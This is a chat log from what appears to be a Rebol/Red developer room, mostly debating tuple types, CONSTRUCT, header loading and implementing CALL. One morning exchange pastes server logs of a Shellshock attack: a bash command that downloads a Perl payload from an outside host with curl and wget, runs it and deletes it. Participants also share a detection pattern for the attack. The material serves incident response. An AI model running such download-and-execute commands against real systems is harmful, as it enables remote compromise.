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1:12 AM
@giuliolunati need to pull out my old photon and play around now. Thanks for sorting out the stat structure
 
1:27 AM
>> probe <a < b>
 
; Brought to you by: try.rebol.nl
<a < b>
== <a < b>
 
>> probe <a > b>
 
@HostileFork Can you elaborate on that?
 
I don't think that allowing a naked < inside of a tag is a very useful feature if you can't use a naked >. The lack of symmetry is arbitrary.
What doesn't seem arbitrary would be if--as with curly strings--nested pairs were allowed.
>> probe <a <b c> d>
 
@HostileFork What do you mean?
 
1:30 AM
It should perhaps also follow the caret escaping rules.
so <a ^> b> and <c ^< d> would be legal.
>> probe <a ">" b>
 
; Brought to you by: try.rebol.nl
<a ">" b>
== <a ">" b>
 
>> probe <a '>' b>
 
@HostileFork What do you mean?
 
Single quotes need to be supported, in addition to double quotes, for creating ranges in which the > is considered "non-live". It would be helpful in trying to get Rebol trends to catch on to also support {>} or {a {>} b} etc.
I think that after experiences thinking and working with it, that if you use code to make it, a WORD! needs to be able to have any name. Can include spaces, etc. But MOLD needs to recognize these and be sure to put them out with construction syntax. Simple test: do a simple mold to a string, try to LOAD it back, if you don't get something that compares as equal then fall back on construction syntax.
If you're totally sure you don't have anything that will cause problems, use MOLD/UNCHECKED or similar and deal with the potential consequences.
Initially I thought limiting the words was a good idea but I have seen it simply isn't feasible in the system to check other more mutable types, and it does more harm to limit words than to tackle the core of the problem by making mold more robust.
So I think that puts me in the Red camp of "that wasn't a change in Rebol3 worth sticking with"
 
 
3 hours later…
5:04 AM
@rgchris I am still unsure where bash gets called in the Cheyenne CGI setup which allowed the shellshock exploit to affect us. Any ideas? I have been browsing though the Cheyenne source, but I can't find any shell being called anywhere unless call uses bash to run a command. We need to resolve this before we restart Cheyenne on dig ocean and re-point rebol.info
I have patched bash on dig ocean, but I still don't think it should be part of the CGI handling process. The lighter the better.
 
5:20 AM
@giuliolunati - is your Red console done via an .apk, or just any executable uploaded to Android device?
 
@johnk Cheyenne does not call bash, but CALL might do that.
 
 
1 hour later…
6:36 AM
@pekr: executable - compile @qtxie android-console branch with -t Android (and, is not mine, but @qtxie's :-)
red -c -t Android runtime/console/console.red
You get "console" executable
 
7:08 AM
@giuliolunati In master branch I guess? Oh, I see it's qtxie's branch.
In Red's Android branch, for compiling native executables, you need to use -t Android-bin target, as -t Android now invokes the APK packager.
 
@johnk Possibly in the use of SET-ENV (or in Rebol).
 
@rgchris SET-ENV: most probably, that's the main attack vector of shellshock.
 
You could probably just sanitize the string that you send to SET-ENV...
 
@rgchris Right, any taker for pushing a PR to Cheyenne repo on github? :)
 
@DocKimbel I can, but not until later on.
Could just sanitize it thus: if find string "() { :; };" [string: "<shellshock>"]
Could then respond with some double-reverse attack code :)
 
7:20 AM
@rgchris Tempting idea. ;-)
@rgchris Is that pattern present in all shellshock attacks on HTTP headers?
 
@DocKimbel Some variation, I imagine—that's some type of shell function notation, right?
 
@rgchris Don't know, my shell scripting knowledge evaporated since I learned it in college. ;-)
 
In addition is there something that can be done at an os config level for the Cheyenne user to use sh instead of bash?
 
I'm pretty sure the }\s*; is the key part to look out for.
(sorry for the dip into Regex there)
 
The Cheyenne user's shell was set to /bin/false so it is not picking it up from there ...
 
7:26 AM
@johnk Are you sure the attack came through Cheyenne? There are other ways shellshock can infect your server, like through qmail...
 
29/9-18:59:08.528343-[CGI] Error:/bin/bash: exec('/bin/bash -c cd /tmp ; curl -o xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi ; lwp-download xr0b0tx.com/shock/cgi ; perl /tmp/cgi ;rm -rf /tmp/cgi ; wget xr0b0tx.com/shock/cgi ; perl /tmp/cgi ; rm -rf /tmp/cgi;'): No such file or directory
29/9-22:13:36.248844-[CGI] Error:--2014-09-29 22:13:34--  ellrich.com/legend.txt
Resolving ellrich.com (ellrich.com)... 208.70.184.145
Connecting to ellrich.com (ellrich.com)|208.70.184.145|:80... connected.
Excerpt from Cheyenne logs ..
 
@johnk I see...
 
That bottom one looks like wget
I have all the logs backed up and the machine is still there although it is shutdown and firewall'ed off to just my IP address
 
If someone could give me the right pattern to match in order to filter out shellshock attacks, I can push a fix at once.
 
Let me check that again ..
 
7:51 AM
The most commonly quoted regex I can find is (\s*)\s+{ or in parse something like "(" any white-space ")" some white-space "{" (assuming white-space is defined)
 
@johnk So a whitespace is just a space or can it be something else?
 
In Regex it's defined as "\n\t "
 
Thanks @rghris I'm on the train hence it's tricky to search
 
Yep, traveling as well...
 
8:46 AM
Ok. Mystery solved
[ec2-user ~]$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 Oct 1 10:52 /bin/sh -> bash
Although going by the file modification date that may have been changed after the compromise
Ubuntu is a bit better, the shell is dash by default
 
meaning for ec2 users ?
 
@GrahamChiu patch your bash and be careful if you use it for cgi :)
 
well, I've updated her ec2 instance ... don't think she has any cgi using bash
 
Can you check what your /bin/sh points to on your daughters machine? It would be useful to know as I want to make the digital ocean box as solid as possible
 
I don't have ssh on this laptop but how would I do that?
 
8:51 AM
Just ls -l /bin/sh
 
Thanks
 
9:38 AM
@johnk CALL uses sh to execute commands (what CALL uses can be overridden by setting the environent variable SHELL ). As you already noted, sh is often symlinked to bash in Linux distributions.
 
10:06 AM
@earl that explains it. Thanks. I'm feeling more confident and competent to enable cheyenne over on Digital Ocean.
I saw the vulnerability appear and thought .. " who would be stupid enough to have cgi enabled bash scripts? " hence I didn't patch it sooner. Hindsight is a wonderful thing
@GrahamChiu just realised the modification date stamp on my message above is due to me patching bash, not somebody else getting enough access to replace the binary so don't worry about checking your ec2 instance.
 
 
6 hours later…
4:01 PM
There is mention in the Needs header of saying you need a certain version of something e.g. Needs: [mysql 2.3.0]. Is it always the minimum version? Has there been any thought on version ranges?
>> 256.257.258
 
@HostileFork Please continue.
 
>> 255.255.255
 
; Brought to you by: try.rebol.nl
== 255.255.255
 
This limitation is not going to please people, and seems misguided in something you use for semantic version numbering.
 
4:23 PM
Especially in systems where you need to constantly bump the most minor version number or they won't allow new commits. You simply can't push a version that has the same minor version into deployment. It gets into the thousands very easily
 
4:59 PM
I know why the limit is there; it's an attempt to put things that are sort of IP-address like into a value slot, vs needing to have a series
@RebolBot
foo: [1 2 3]
bar: foo
print [{second foo is} second foo]
foo/2: 100
print [{after change, second foo is} second foo {and second bar is} second bar]
 
; Brought to you by: try.rebol.nl
second foo is 2
after change, second foo is 100 and second bar is 100
 
@RebolBot
foo: 1.2.3
bar: foo
print [{second foo is} second foo]
foo/2: 100
print [{after change, second foo is} second foo {and second bar is} second bar]
 
; Brought to you by: try.rebol.nl
second foo is 2
after change, second foo is 100 and second bar is 2
 
@HostileFork having larger values would be good. Could be mezz functions for checking valid ip-addresses/rgb values
 
STRING! is now a series of codepoints. Why can't TUPLE! be a spiritual analogue to string?
Are they so common that packing them into a 32-bit value, and giving them value semantics, is sensible?
The version numbering thing seems to be an obvious "no, that is not sensible"
 
5:23 PM
>> append "abc" 12
 
; Brought to you by: try.rebol.nl
== "abc12"
 
>> append #{AABBCC} 12
 
; Brought to you by: try.rebol.nl
== #{AABBCC0C}
 
Hmm. If TUPLE! is an ANY-STRING! ... as in codepoints, it seems it shouldn't have a different behavior if you ask to append an integer to it. But you clearly want an integer to be appended. Yet it's not a good fit as an ANY-BINARY! in terms of the underlying type.
If something is in the ANY-STRING! class, and suddenly APPEND of a 12 to it appends codepoint 12, that seems bad. But then I'm not entirely sure that appending the number 12 to a string should be FORMing it, when thinking about that. :-/
Given the higher level routines like COMBINE and such, having APPEND do forming implicitly when there's a lower-level interpretation of a type starts to show a bit of inconsistency with--for instance--binary
 
5:38 PM
posted on October 02, 2014 by fork

[Wish] TUPLE! is currently very limited both in its range of element values, and the number of values it can support. 255.255.255 is valid, for instance...while 256.257.258 is not. The constraints are applied because TUPLE! was designed to fit into a value slot. This limitation is not going to please people, and seems misguided in something you use for semantic version numbering. Especially

 
6:19 PM
Yes and a thing as 168.192.0.1 should be called IPv4! and have similar types if needed like IPv6! etc. (could be based on tuple with some extra restrictions)
 
Is that really necessary, though?
 
is that a reply to my post? it was so fast you could n't have even read that ;-)
 
@HostileFork The single biggest use for tuple! is neither IPv4 addresses nor version number triples, it's colour triples & quadruples (RGB, RGBA).
For that use in the GUI systems, anything but an immediate type is far too heavy. Or would at least necessitate a slightly more sophisticated implementation strategy right from the start (such as pooling, or whatever).
 
@iArnold I delegate most replying to my AIs. FE80:0000:0000:0000:0202:B3FF:FE1E:8329 is an IPV6 address. It's problematic because it would overlap with URL!, I'd imagine.
>> type? FE80:0000:0000:0000:0202:B3FF:FE1E:8329
 
; Brought to you by: try.rebol.nl
== url!
; Brought to you by: try.rebol.nl
== url!
 
6:23 PM
:19221146 In what universe? You're telling me that Rebol would come to a screeching halt if color tuples were even the string "the color is #FFEE00"? On what architecture? On what codebase is this the limiting factor?
 
@HostileFork Existing universe. Every codebase using the GUI(s).
 
In firefox it is not a url!
 
@earl I don't believe it. In fact, I believe the precise opposite. If colors were done with binaries then if you really have insane numbers of references, the fact that they would be done with a type that could be passed by reference would take care of it.
 
I'm telling you that there are quite a few users out there (just ask @moliad) for who Rebol's existing graphics stack is already far too heavy.
This is also what triggered a rather fundamental gob! redesign for R3.
 
Well give me the codebase and let's see exactly what the consequences of shifting TUPLE! to be a series under the hood are to that.
 
6:26 PM
@HostileFork Values being passed as reference types are still always bigger than immediate values.
@HostileFork Take R3-GUI.
Or VID, or RebGUI.
Or ask Cyphre or Maxim for one of their demos which kill Rebol's graphics performance.
 
@moliad --^ See above. I'd like to get rid of what seems to me to be an incorrect notion that changing TUPLE! to be essentially a string would somehow cause great performance distress to an existing codebase. Adapting code to use a tuple approach would require trapping and examining all modifications of tuples to figure out where to do copies, but other than that, it should work the same. I challenge the assertion that this would have significant effect on runtime or storage use.
 
In any case, I'm just pointing out something to consider.
To cater to current usage, you'll need a slightly more sophisticated implementation out of the box.
One approach could also be inlining of short tuples.
Another thing to consider: in my opinion, even with relaxed ranges, tuples still make for rather bad version numbers.
Just look at the whole "2.99.x" mess in R3 to see a reason why.
 
Well, you need a system, and it happens that a number of systems are canonizing this
In the complexity-driven-multiverse versions are a tree, so you have parents and children, and things winding in all directions. The artificial lockstep of version numbering is something imposed to try and establish a standard and a consensus.
Which as we see in many other ways is such a rare thing to be able to accomplish that people will rush toward systems, even inferior ones, that offer the comfort.
 
6:52 PM
posted on October 02, 2014 by abolka

[Comment] Sounds like a good idea and a good tool to have in the box. I wouldn't have it replace the current CONSTRUCT behaviour, as CONSTRUCT serves a different purpose: "give me whatever you wish, and I'll safely what I can". Whereas the proposed tool I'd describe as: "give me whatever you wish, and I'll do something safely or error out if something unsafe is around." So that's two modes:

 
7:08 PM
@earl Besides loading headers, for which I propose this new behavior, what is CONSTRUCT useful for? I hate the name.
 
@HostileFork Loading data in general. Configuration sets that you don't want to allow to use code, etc.
 
I don't want to load bad data and just skip junk that's in there out of band...ever
 
Yeah, you don't. Other people do.
 
And their shells get shocked, and their hearts get bled. :-/
No need to have primitives in your language contributing to the problem.
 
That's generally because of the lack of such primitives.
Also, the risk profile is the same with erroring out as it is with silently dropping. Both is sanitising. If your sanitiser is broken, you are out of luck in both cases.
 
7:22 PM
I do not think it's useful to have an object creation function that passes items as safe, which when same items might be later loaded by a "live" object maker might want to add code and only run the code that was added since.
Consider if I check a header and look at it, and then make some decisions. That file is considered to have passed an audit and goes on to another piece of the system, unmodified.
That part of the system wants to add some live code, and then runs object with it thinking it's only going to be running the code it added. But sneaky code that was in the margins runs. Or just accidental code.
It's easier to find the problem if you have some contexts where junky stuff throws an error instead of just vanishing. You identify the problem at the problematic place. It's clearer and people know exactly what's going on.
 
@HostileFork Well, that's not what you'd use CONSTRUCT for.
 
I do not in any way see how it's a feature to allow Rebol [Title: reverse "dlroWolleH" ] and merrily march along with Title: reverse instead of complaining.
 
CONSTRUCT is a sanitising loader. It's not a checker.
 
The only argument might be "well, then it would allow comment" :-/ But we've had this discussion before about a proper multi-line comment being needed.
And certainly the way to make an exception for it is not to just ignore trash and pretend nothing is wrong.
red> object [x: 'a]
>> object [x: 'a]
 
; Brought to you by: try.rebol.nl
== RESULT is an object of value:
   x               word!     a
 
7:28 PM
>> probe object [x: 'a]
 
; Brought to you by: try.rebol.nl
make object! [
    x: 'a
]
== RESULT is an object of value:
   x               word!     a
 
Also, that rendering is broken. It should say x: a
>> probe object [x: quote 'a]
 
; Brought to you by: try.rebol.nl
make object! [
    x: 'a
]
== RESULT is an object of value:
   x               lit-word! 'a
 
8:12 PM
Welcome @GregP...! ask or answer a Rebol question... mind the house rules, they don't like it if your question doesn't have code in it. So no "where can I find a library that does...?" or discussion type things. :-)
Or of course there are many other tags. 20 points is an easy bar to make.
 
FYI, I am working on CALL in R3, and now I need your input on how it's supposed to work
4
 
@GregP if you want to browse some historical notable moments in chat, notice the starred posts. You can follow the link to see them in context. Also of course the chat faq
@RebolBot do/2
help call
 
; Brought to you by: try.rebol.nl
USAGE:
    CALL cmd /input in /output out /error err /wait /console /shell /info /show

DESCRIPTION:
     Executes a shell command to run another process.
     CALL is a native value.

ARGUMENTS:
     cmd -- The shell command or file (Type: string file block)

REFINEMENTS:
     /input -- Redirects in to stdin
         in -- (Type: any-string port file url none)
     /output -- Redirects stdout to out
         out -- (Type: string port file url none)
     /error -- Redirects stderr to err
 
First thing is about "/wait", I understand that without this refinement, it returns immediately
however, I am not sure who's going to recycle the resource of the child process?
namely, who calls "waitpid" in this case?
 
@ShixinZeng That's one of the open bugs in the current /WAIT implementation.
It's a bit tricky. I think non-blocking child reaping inside the event loop is one natural place.
Second place I think that it would be helpful is before each console prompt.
 
8:21 PM
I like the idea of doing it inside the event loop
but that brings up another question, where should be store all these PIDs?
 
Don't. Just reap all children.
 
oh, yep
 
So a pid of 0 or -1.
 
-1 seems to be a better choice, IMO
 
Agreed.
 
8:26 PM
what's the difference between "/console" and "/show"
?
 
/show is Windows-specific, you can safely ignore that for starters.
 
OK. so /console referes the REBOL console, which could be different from standard IO?
Is this also windows specific?
 
I think the original intention was as follows:
With /console, input and output and error are attached to the Rebol "console's".
With /input or /output, stdin or stdout are redirected into the corresponding buffers.
Without any of them, stdin and stdout of the child are simply closed.
(Or piped into nirvana.)
 
Got it, thanks
 
The R2 graphical console is important for a background here.
>> call {dir}
== 0
>> call/console {dir}
 Volume in drive C has no label.
 ...
== 0
In environments without a graphical console, implementation reality was different. stdin and stdout were inherited from the parent.
So in effect, even without /console, the child's stdio was by default attached to the "console".
You can easily see the effect for yourself by running call {ls} on an Linux or OSX Rebol.
Anyway, that was the idea behind /console.
 
8:39 PM
OK, so for now, I will ignore /console for linux
 
Sounds good.
We can always add the stdio shutdown logic later on.
 
@ShixinZeng I assume you are aware of github.com/red/red/tree/master/system/library/call
 
@HostileFork Yes, I had a look at it
 
Eventually, we'll most likely also want to refactor this whole thing into a call:// port / scheme and only build CALL as a high-level wrapper on top of it.
@ShixinZeng I think you most likely won't need it, but I have a very basic CALL skeleton in C written up already. If you want to have it, I can certainly pass it along.
 
@earl yes, please
 
8:45 PM
@earl Hm, call:// because... RPC? What value does making it a port scheme offer?
 
@HostileFork Non-blocking.
Can be properly integrated into R3's event system, along with networking and GUI.
 
Hm. Okay. Well how does it do stderr?
 
What do you mean?
 
Well, in a port scheme you're reading from, how do you get two streams of data for stdout and stderr?
 
Ah, you're not reading at all.
 
8:46 PM
Not saying it's not possible just asking what pattern you see for that
 
You'll open a call:// port, supply a reactor. The reactor would then get called with input/output/error events.
 
Aren't ports supposed to be designed so you can just do read call://whateveryouenvisionasthecommandlineexpression ?
 
Nope.
 
Well some you can.
 
Let's call the port a "subprocess" port.
That READ you are referring to is a high-level wrapper already. The high-level wrapper for subprocess ports will be CALL.
 
8:50 PM
@earl Is there a curecode ticket explaining "the right way"?
 
@HostileFork For CALL specifically?
No.
We could provide some functionality via high-level READ as well. Maybe a simple "call this command, wait for it to complete, and return all stdout, throw away stderr. Raise an error if the command didn't exit with return code 0" functionality.
 
How is the non-blocking call supposed to work? especially with IO redirection?
 
Let's get the blocking CALL done first :)
Then it'll probably be easier to see.
For non-blocking subprocesses, all I/O is redirected through events.
 
blocking call can be done without a CALL:// scheme
 
Exactly.
And the implementation can then be refactored into a non-blocking port-based on, with CALL being refactored to work on top of the non-blocking port.
But that has absolutely no priority right now. Think of it as a "Rebol 3.5" thing.
(And that with a Rebol Tech rate of version number increase, not an Atronix one :)
 
8:56 PM
Then before that happens, "/wait" is a requirement to "call"
 
Yes, /wait needs to be supported before and after that.
Even with a non-blocking subprocess port, CALL will stay as is.
(@ShixinZeng Check your AltME.)
 
If you don't block and tell CALL to redirect output into strings, are the strings changing in a volatile fashion somehow? :-/
If you don't block and use a string as input and change it, is that volatile?
 
@earl what's on Altme? I just checked
 
/output and /input imply /wait.
 
..and /error?
 
8:59 PM
Same.
 
@earl OK, I see your message at ALtme
 
9:11 PM
Here's a very quick mockup to illustrate how using a non-blocking subprocess port could look like: gist.github.com/earl/19a07f515e5e9a720615
 
@earl I think it's a good idea
 
Blocking CALL first :)
 
Let me think about it
I don't want to write something that's going to be thrown right away
:P
 
Please forget about non-blocking CALL for now :)
I can assure you, blocking CALL will survive at least half a year. Most likely more.
And it would be eminently useful to many R3 users.
I shouldn't have started that :)
 
All right
Let me get blocking CALL done first
 
9:17 PM
Great :)
 
Many will praise your name if you do. :-)
 
If I can help, just let me know.
And if you don't do it, I'll most certainly extract it as a pull request against mainline once it's done :)
(And eventually merge it into community rebolsource/r3, for those who are listening hard for mentions of that :)
So to summarise: I'll be the first to praise you if you do :)
 
@RebolBot
base-path-string: "something"
probe rejoin [% base-path-string %/somethingelse]
 
; Brought to you by: try.rebol.nl
%something/somethingelse
== %something/somethingelse
 
9:20 PM
Yep, that would be appreciated
 
I can hear you ;-)
 
All right, gonna run. Talk to you guys later
 
@pekr Good. I'm also sure you'll be at least the second to praise @ShixinZeng for a good CALL :)
Maybe you'll even outrun me to be the first :)
@pekr Did you somewhat follow the Windows 10 announcements by any chance?
 
So here's a little question. Let us say you are trying to un-string-ify the world but you are doing a dialect which is declarative in nature, so you're not running COMBINE or REJOIN or any of that. And there's a slot in which you want to be able to put file paths but use some kind of environment variable substitution.
It's all fine and well if in that slot someone puts a FILE! or a block of FILE!, or maybe some WORD! or whatever you're using for variables that might hold a file. But what about representations of a path containing substitutions?
 
Some time ago Carl asked me, why ppl are not picking R3 and are still keeping to R2. And I told him - because R3 lacks some important features R2 has. CALL was one of them, the other were console, db drivers, networking schemes, GUI, https, crypto ...
 
9:23 PM
@pekr Because if you didn't, you might be very pleased to hear, that Microsoft seems to be actually set to improve the console window you so rightly despise: withinrafael.com/…
 
I did not follow the Win 10 relase, just the reasoning for skipping version 9 - they claim there is lot's of code, which has simple check - if winversionstartswith 9, then ... , but it might be a joke :-)
and if they improve the console, it is about the time!
I would have to find a blog post, where Carl tried to find out, how to have a real console and executable still being able to contain GUI. Not sure it will be possible now, will follow the link to read ...
 
There's lots of weird things that drive decisions, I don't remember what it was but some Dos or Windows release early on wound up lying about a version thing in a slot you'd think it would have written the right version information in... specifically because Norton Utilities refused to run if it didn't see the number in that low level place it expected.
Some statistics chart of number of customers running Norton Utilities suggested it was very widely used at that time, and they decided they'd rather just write the wrong version in the slot as it wasn't going to break it vs. having the right number there for the sake of being right
I'm a bit skeptical that such things would still be affecting these decisions, but I don't know why I'm skeptical
Anyway, my filename or otherwise escaped string question. This is a bit tricky because I'd sort of like to transform something = ("/foo/${BAR}/baz" "/foo/mumble") into something more like something: [[%/foo/ #BAR /baz] %/foo/mumble]... to go in that kind of direction.
 
totally plausible explanation for why microsoft skipped windows version 9 http://www.reddit.com/r/technology/comments/2hwlrk/new_windows_version_will_be_called_windows_10/ckwq83x http://t.co/7qpxP6zXtN
 
I have found the blog, where Carl concluded, that we can't have both worlds included in one exe - rebol.net/cgi-bin/r3blog.r?view=0282#comments
 
One exe could unpack to a temp directory and run another, as a launcher.
When I was writing TitleWait I got to experience the joys of learning how many different ways programs launch.
Especially browsers.
 
9:38 PM
@pekr We have since confirmed that and concluded the same.
Fundamentally, it's about something else.
You can either have a console subsystem binary which will allow you do to fully proper IO redirection.
Or you can have a GUI subsystem binary, which won't.
You can still have a GUI subsystem binary with a (on-demand) console.
You can also have a console subsystem binary with GUI, if you don't mind the "console flicker".
 
What about the two-process solution? A console EXE which starts a GUI exe?
 
Console flicker.
 
Is that just the Windows architecture, or other OSes are just the same in that regards?
 
No, that's just Windows.
(And of course maybe some other non-mainstream OSes I am simply ignorant of.)
 
What is "console flicker"
 
9:41 PM
Double click on a .exe, a black console briefly appears and immediately closes again, then your GUI starts.
Maybe one day Microsoft will introduce another execution subsystem to the Windows kernel to give us more flexibility.
Until that day, we'll just have to have two builds. And really, it's not that bad after all.
Most people will get by with the GUI builds just fine.
For special situations, like integrating Rebol into a larger scripting environment, you'll use an alternate build which allows proper I/O redirection.
 
9:55 PM
python does just that and its not a big pain. its much less of a pain than trying to use a windows build within the console when you need it for system scripting.
 
When our console allows us to play a Tetris, give me a call :-) rebol.org/view-script.r?color=yes&script=textris.r
 
> In ildasm case, there is only one binary: ildasm.exe. It is first compiled as a GUI application. Later editbin.exe is used to mark it as console subsystem. In its main method it determines if it needs to be run as console mode or GUI mode. If need to run as GUI mode, it relaunches itself as a GUI app.
@earl Does ildasm have console flicker?
48
A: Can one executable be both a console and GUI application?

Rob KennedyJdigital's answer points to Raymond Chen's blog, which explains why you can't have an application that's both a console program and a non-console* program: The OS needs to know before the program starts running which subsystem to use. Once the program has started running, it's too late to go back...

 
@HostileFork Yep :)
 
10:11 PM
@HostileFork CONSTRUCT is a very simple idea... its just a non evaluating data loader. no value is ever evaluated, for all lexical types. there is no way to generate a "trick" to outsmart the interpreter. basically, it sees the loadable data as dead tokens. Its only exception is that it converts lit-words into words. These should be unbound in R3, if they aren't already.
I don't see why you are trying to add meaning to it beyond that. its just an object constructor with different semantics.
 
I don't see the use of it, and I see the use and coherence of the thing I defined.
And I have ideas of concepts in the "construct" case and that behavior isn't anything I associate with the word.
If someone shows me a use for it, then okay, but I don't think it should be used for headers. I think the thing I defined is better.
 
well, just make a function and implement the dialect. construct is just a dialect.
 
@HostileFork "You safely construct a data object from arbitrary input data."
 
>> construct [a: 3 + 4 b: (reverse "Hello World") foo baz bar hello: crazypantsland + 5]
 
; Brought to you by: try.rebol.nl
== RESULT is an object of value:
   a               integer!  3
   b               paren!    length: 2
   hello           word!     crazypantsland
 
10:19 PM
Super safe.
Good for kids.
We need more constructs like this!
 
Nothing was evaluated.
 
And nothing of value was accomplished, but nonsense.
 
Accomplished as advertised.
 
fork, you do know that you can create very evil scripts that you cannot detect by parsing the script?
 
If you mention the halting problem, I'm going to point you to some cryptononsense and say it's not the point here or there.
Ethereum is a decentralized publishing platform featuring stateful user-created digital contracts and a Turing-complete contract programming language. Ethereum uses its underlying network unit, ether, as payment to execute Ethereum contracts as a workaround to the Halting Problem. In this respect, Ethereum is unlike most cryptocurrencies, as it is not solely a network for transacting monetary value, rather, it is network for powering Ethereum-based contracts. These open-ended contracts can be used to securely execute a wide variety of services including: voting systems, domain name registries,...
I can define a giant bag of things that "work as they are advertised" and "perform no arbitrary evaluations", but that alone is not justification to be putting in the language core.
 
10:23 PM
CONSTRUCT is useful.
 
@HostileFork no I mean using techniques which build the code on the fly by assembling characters so you have no clue what is going on.
 
You keep saying that, I still don't get it.
 
Can't help you with that.
 
Do you believe construct is what should be used for loading headers?
 
That's a different question.
As mentioned in the ticket, I see your proposed behaviour as very useful as well.
And as mentioned, I think that CONSTRUCT/strict would be a good name and place for it.
 
10:24 PM
Okay, well I don't think silently tolerating Rebol [Title: reverse "dlroWolleH"] is a good idea just because you got Title: reverse So if we're in agreement on the header thing, the only previous CONSTRUCT usage I know of, I'd like to hear about these other applications you think it's good for.
 
Told you before.
 
I don't want abstract, I want a use case.
 
Sanitising external input: config files, CGI data, etc.
 
I need a case where the behavior of CONSTRUCT is preferable to CONSTRUCT/STRICT (which I say is not the name I want)
 
Config files, CGI data.
 
10:26 PM
I need you to show me such a config file.
Or such CGI data.
 
CGI data is externally controlled. I don't want to fail if an agent sends junk I can ignore.
The same for config files.
 
What's an example of agent-sent junk you would like to ignore?
 
you do know that rebol allows litteral values inline with code? this is a technique used in many toolchains.
 
Anything that somehow tricks and escapes my pre-parser.
 
for example we use issues as pre-processor tokens.. but there is nothing special with them in terms of value... they are evaluated (and then ignored) like any other inline value. the fact that I put an issue in a header might be used simply to tag some things for a toolchain.
 
10:30 PM
Same thing e.g. with additional, "untagged" strings in headers.
REBOL [
    Title:
        "Foo Bar"

    {This is some remark someone didn't care to tag.}
]
 
>> object [Title:]
 
There's no secure CGI without the construct :-)
 
; Brought to you by: try.rebol.nl
== RESULT is an object of value:
   Title           none!     none
 
@earl Why make that legal in headers?
 
I've often used html tags inline for documentation. these would be removed once my autodoc/distribution tool managed the file... but I could still execute them directly... i.e. I don't need to pre-parse my source and need an IDE for such simple toolchains.
 
10:31 PM
It's okay for it to not have the same rules as executable code, because, as we know here... it isn't supposed to be
And it doesn't follow those rules.
 
@HostileFork That's not the question. It is legal. Question is: why make it illegal?
As @moliad also alludes to, there are potentially a multitude of different systems processing these things. The systems we call humans included.
 
The freedom of allowing one particular stray data type, which may be more likely to be the result of an accident than anything, to try and excuse the larger set of compounded errors and mistakes in the headers of not noticing you're doing something wrong and not getting what you're asking for, is not leveraging the system and others "freedom from". The "freedom to" here does not pay off.
 
@HostileFork Experience indicates otherwise.
For headers, this has be a non-problem, so far.
But then again, I don't have a strong opinion on headers.
 
The header is nothing special. In the sense where its up to you to put what you want in it... there is no point in limiting it. If you really want to force the header in your toolchain, just load it using load/next (transcode) and complain in the toolchain.
 
Well. In the end, perhaps the universe really does come down to divisions and fragmentation. In my world we won't do business with people who send us scripts with headers that say Rebol [Title: {Script} hahahaha! (delete %/etc/password print "You got pwned!")] and in your world you can say "eh, it gets thrown out, who cares"
The thing is, if it doesn't have to be there, it shouldn't be there.
 
10:40 PM
In computing, the robustness principle is a general design guideline for software: Be conservative in what you do, be liberal in what you accept from others (often reworded as "Be conservative in what you send, be liberal in what you accept"). The principle is also known as Postel's law, after Internet pioneer Jon Postel, who wrote in an early specification of the Transmission Control Protocol that: TCP implementations should follow a general principle of robustness: be conservative in what you do, be liberal in what you accept from others. In other words, code that sends commands or data to other...
I definitely don't live in a world, where we can fully control who we do business with ...
 
If you love evolution, it's a great strategy. But that's how most of the crap in the world got made. A popular thing that accepts non-conformant input gets popular. The population is uneducated so they see any unconforming challenger as being the one having the problem.
Maybe you have some idea where it makes sense in your line protocols. But I'm talking about the headers for the language.
I guess if you're making an argument from adaptation then I wonder why CONSTRUCT would be in the box. Some kit used by people who are part of the messyverse might need it.
 
But you're always mixing up the headers issue with your general hatred for the function of CONSTRUCT, and even your hatred of the name CONSTRUCT. See above.
Rebol is part of the messyverse. It's part of the world.
 
Well, you brought it back to saying you thought there was some great advantage to allowing strings without a tag in mid-header.
 
and rebol actually was intended to handle the messyverse, as you call it. its part of its design principle. and yes, it does handle and manage it better than any other language I've used.
 
I just mentioned that I've seen this. I wouldn't restrict it. But then I repeatedly mention that I don't care much about the header question.
And regarding conformance: We are already strict about only accepting lexically valid Rebol.
 
10:46 PM
Well, I decided to sit down today and see if I could "dialect-ify" CMake and started looking into it.
First line I look at is cmake_minimum_version. I think, okay, in a Rebol system this seems like a header-ish thing
So I start formulating the Rebmake [] header and I think, well it would be nice to be in line with how Rebol does version dependencies, right? And I look up the Needs: header thing which I've never used.
Which leads me to look and see it uses tuple, and remember the fact that I don't like tuple as it is, and that it is unsuited for versioning.
Then I find people rabidly defending this value-compressed tuple type, as if what blocks Rebol's efficiency and growth is somehow pertaining to how efficiently it can mask IP addresses, when in the meantime the Internet has gone on to IPV6 which it doesn't support... and also the use of it for color constants means it's a notation no one uses for color barely anymore.
So it's hours before I'm past line one.
 
If only the internet would've gone to IPv6 ...
>> ? tuple!
 
; Brought to you by: try.rebol.nl
tuple! is a datatype
It is defined as a sequence of small integers (colors, versions, IP)
It is of the general type scalar

Found these related words:
   aqua            tuple!    40.100.130
   base-color      tuple!    200.200.200
   beige           tuple!    255.228.196
   black           tuple!    0.0.0
   blue            tuple!    0.0.255
   brick           tuple!    178.34.34
   brown           tuple!    139.69.19
   coal            tuple!    64.64.64
 
It's somewhat of a pity that you mistake "pointing out aspects which also need consideration" as "rabidly defending".
 
And then it's back to the usuals. Rebol does mix in the keywords with the values in the dialects, which makes it readable, but then you get overlaps. I'm not sure if in my Cmake dialect to make all the variables #LIKE_THIS or not, but then I have to change their string escaping for file names from "${LIKE_THIS}/foo/bar" to at least "#{LIKE_THIS}/foo/bar", but that's why I asked this question the feed hasn't picked up.
@earl I was talking to BrianH in chat and he rabidly defended it
Well, just feeling that there was this really important idea that tuples should somehow not have series-indexibility, and needed to have value semantics...
When strings are way more common and foundational, and don't have that, and people are used to it if they use Rebol.
0
Q: Declarative representation of a file path with embedded environment variables

HostileForkI am looking at a situation where I'd like to bring some structure to what would be a string in an typical language. And wondering how to use Rebol's parts box to do it. So let's say I've got a line that looks like this in the original language I'm trying to dialect: something = ("/foo/mumble"...

 
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